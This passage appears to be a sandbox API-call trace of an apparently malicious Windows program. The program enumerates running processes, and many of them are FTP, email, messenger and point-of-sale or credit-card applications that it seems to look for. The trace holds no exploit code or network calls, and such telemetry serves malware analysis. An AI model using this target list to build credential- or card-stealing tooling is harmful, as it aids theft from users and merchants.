th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0079.979] lstrlenW (lpString="spoolsv.exe") returned 11 [0079.979] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.980] lstrlenW (lpString="svchost.exe") returned 11 [0079.980] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0079.980] lstrlenW (lpString="taskhost.exe") returned 12 [0079.980] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0079.981] lstrlenW (lpString="taskeng.exe") returned 11 [0079.981] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="wilson-homeless-extension.exe")) returned 1 [0079.982] lstrlenW (lpString="wilson-homeless-extension.exe") returned 29 [0079.982] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="while damaged.exe")) returned 1 [0079.983] lstrlenW (lpString="while damaged.exe") returned 17 [0079.983] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="hosted_thee.exe")) returned 1 [0079.984] lstrlenW (lpString="hosted_thee.exe") returned 15 [0079.984] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="covering-secretariat.exe")) returned 1 [0079.985] lstrlenW (lpString="covering-secretariat.exe") returned 24 [0079.985] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="herself-neo-wheat.exe")) returned 1 [0079.985] lstrlenW (lpString="herself-neo-wheat.exe") returned 21 [0079.986] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="institution-population-samples.exe")) returned 1 [0079.986] lstrlenW (lpString="institution-population-samples.exe") returned 34 [0079.986] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacteddecidedmurder.exe")) returned 1 [0079.987] lstrlenW (lpString="contacteddecidedmurder.exe") returned 26 [0079.988] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="l_greene_go.exe")) returned 1 [0079.988] lstrlenW (lpString="l_greene_go.exe") returned 15 [0079.988] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="informative-switches-zones.exe")) returned 1 [0079.989] lstrlenW (lpString="informative-switches-zones.exe") returned 30 [0079.989] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spots wm.exe")) returned 1 [0079.990] lstrlenW (lpString="spots wm.exe") returned 12 [0079.990] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="epa_spirituality.exe")) returned 1 [0079.991] lstrlenW (lpString="epa_spirituality.exe") returned 20 [0079.991] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lp imagination.exe")) returned 1 [0079.992] lstrlenW (lpString="lp imagination.exe") returned 18 [0079.992] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="guilty_shed_brandon.exe")) returned 1 [0079.993] lstrlenW (lpString="guilty_shed_brandon.exe") returned 23 [0079.993] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="disaster_rapidly_permanent.exe")) returned 1 [0079.994] lstrlenW (lpString="disaster_rapidly_permanent.exe") returned 30 [0079.994] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="voluntary teach.exe")) returned 1 [0079.994] lstrlenW (lpString="voluntary teach.exe") returned 19 [0079.995] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="languagemonacotoll.exe")) returned 1 [0079.995] lstrlenW (lpString="languagemonacotoll.exe") returned 22 [0079.995] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="jesse.exe")) returned 1 [0079.996] lstrlenW (lpString="jesse.exe") returned 9 [0079.996] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="partners_format.exe")) returned 1 [0079.997] lstrlenW (lpString="partners_format.exe") returned 19 [0079.997] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="predict.exe")) returned 1 [0079.998] lstrlenW (lpString="predict.exe") returned 11 [0079.998] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="supervisor.exe")) returned 1 [0079.998] lstrlenW (lpString="supervisor.exe") returned 14 [0079.999] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0079.999] lstrlenW (lpString="3dftp.exe") returned 9 [0079.999] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0080.000] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0080.000] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0080.001] lstrlenW (lpString="alftp.exe") returned 9 [0080.001] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0080.002] lstrlenW (lpString="barca.exe") returned 9 [0080.002] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0080.002] lstrlenW (lpString="bitkinex.exe") returned 12 [0080.002] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0080.003] lstrlenW (lpString="coreftp.exe") returned 11 [0080.003] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0080.150] lstrlenW (lpString="far.exe") returned 7 [0080.150] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0080.151] lstrlenW (lpString="filezilla.exe") returned 13 [0080.151] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0080.152] lstrlenW (lpString="flashfxp.exe") returned 12 [0080.152] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0080.153] lstrlenW (lpString="fling.exe") returned 9 [0080.153] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0080.153] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0080.153] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0080.154] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0080.154] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0080.155] lstrlenW (lpString="icq.exe") returned 7 [0080.155] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0080.155] lstrlenW (lpString="leechftp.exe") returned 12 [0080.155] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0080.156] lstrlenW (lpString="ncftp.exe") returned 9 [0080.157] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0080.157] lstrlenW (lpString="notepad.exe") returned 11 [0080.157] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0080.159] lstrlenW (lpString="operamail.exe") returned 13 [0080.159] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0080.160] lstrlenW (lpString="pidgin.exe") returned 10 [0080.161] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0080.162] lstrlenW (lpString="scriptftp.exe") returned 13 [0080.162] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0080.163] lstrlenW (lpString="skype.exe") returned 9 [0080.163] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0080.165] lstrlenW (lpString="smartftp.exe") returned 12 [0080.165] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0080.166] lstrlenW (lpString="thunderbird.exe") returned 15 [0080.166] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0080.167] lstrlenW (lpString="totalcmd.exe") returned 12 [0080.167] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0080.168] lstrlenW (lpString="trillian.exe") returned 12 [0080.168] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0080.169] lstrlenW (lpString="webdrive.exe") returned 12 [0080.169] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0080.170] lstrlenW (lpString="whatsapp.exe") returned 12 [0080.170] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0080.171] lstrlenW (lpString="winscp.exe") returned 10 [0080.171] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0080.172] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0080.172] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0080.172] lstrlenW (lpString="active-charge.exe") returned 17 [0080.173] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0080.174] lstrlenW (lpString="accupos.exe") returned 11 [0080.174] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0080.174] lstrlenW (lpString="afr38.exe") returned 9 [0080.174] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0080.175] lstrlenW (lpString="aldelo.exe") returned 10 [0080.175] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0080.194] lstrlenW (lpString="ccv_server.exe") returned 14 [0080.194] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0080.195] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0080.195] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0080.196] lstrlenW (lpString="creditservice.exe") returned 17 [0080.196] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0080.197] lstrlenW (lpString="edcsvr.exe") returned 10 [0080.197] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0080.198] lstrlenW (lpString="fpos.exe") returned 8 [0080.198] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0080.199] lstrlenW (lpString="isspos.exe") returned 10 [0080.199] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0080.200] lstrlenW (lpString="mxslipstream.exe") returned 16 [0080.200] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0080.200] lstrlenW (lpString="omnipos.exe") returned 11 [0080.200] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0080.201] lstrlenW (lpString="spcwin.exe") returned 10 [0080.201] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0080.202] lstrlenW (lpString="spgagentservice.exe") returned 19 [0080.202] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0080.203] lstrlenW (lpString="utg2.exe") returned 8 [0080.203] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="atlascomedy.exe")) returned 1 [0080.204] lstrlenW (lpString="atlascomedy.exe") returned 15 [0080.204] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="starting_terminal_failing.exe")) returned 1 [0080.205] lstrlenW (lpString="starting_terminal_failing.exe") returned 29 [0080.205] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ntsc.exe")) returned 1 [0080.206] lstrlenW (lpString="ntsc.exe") returned 8 [0080.206] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="criteria.exe")) returned 1 [0081.753] 